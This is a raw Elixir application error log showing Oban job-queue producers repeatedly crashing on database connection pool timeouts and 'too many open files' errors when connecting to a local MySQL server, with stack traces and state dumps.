State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:39:39.239353Z], limit: 5, uuid: "6955a7c8-446e-4309-84df-4e240eb0c468", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:39:39.239358Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.69937>, refresh_timer: #Reference<0.2525715032.1099431938.66119>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:39:51.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1055ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:39:39.239082Z], limit: 10, uuid: "be1fb1ec-be58-4bbd-9089-5ec51b742299", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:39:39.239088Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.66143>, refresh_timer: #Reference<0.2525715032.1099431938.66107>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:39:51.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1082ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:39:39.240815Z], limit: 50, uuid: "e39e5dc3-08b6-43e3-ba30-e9eafff09d59", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:39:39.240821Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.69938>, refresh_timer: #Reference<0.2525715032.1077673987.47918>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:39:53.049000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:39:53.445000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:39:53.894000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:39:54.480000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:39:54.869000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:39:58.751000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:40:00.349000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:40:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1089ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:39:51.239469Z], limit: 5, uuid: "64ffe5ab-050b-4ac8-b74b-0bc9b054d62a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:39:51.239475Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.66204>, refresh_timer: #Reference<0.2525715032.1099431938.66178>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:40:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 860ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:39:51.241069Z], limit: 50, uuid: "e01f454b-2a4b-4b5a-802a-02961b05090a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:39:51.241074Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.70331>, refresh_timer: #Reference<0.2525715032.1121189889.211610>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:40:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1082ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:39:51.239306Z], limit: 20, uuid: "1ef24282-720e-4cf2-99f7-bfec9e0375f0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:39:51.239312Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.70330>, refresh_timer: #Reference<0.2525715032.1121189889.211588>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:40:03.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1096ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:39:51.238408Z], limit: 3, uuid: "552454b1-c01f-45d2-a16e-e181ecc28b44", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:39:51.238415Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.211574>, refresh_timer: #Reference<0.2525715032.1121189889.211564>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:40:03.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 824ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:39:51.238872Z], limit: 5, uuid: "97199595-6e36-493a-b3ef-81a3f49a4301", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:39:51.238878Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.211576>, refresh_timer: #Reference<0.2525715032.1121189889.211575>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:40:03.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 878ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:39:51.239443Z], limit: 10, uuid: "85166c20-bcbf-478a-817d-95077c9417c1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:39:51.239448Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.66203>, refresh_timer: #Reference<0.2525715032.1099431938.66175>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:40:03.576000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:40:04.006000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:40:04.673000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:40:06.856000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:40:10.060000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:40:11.332000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
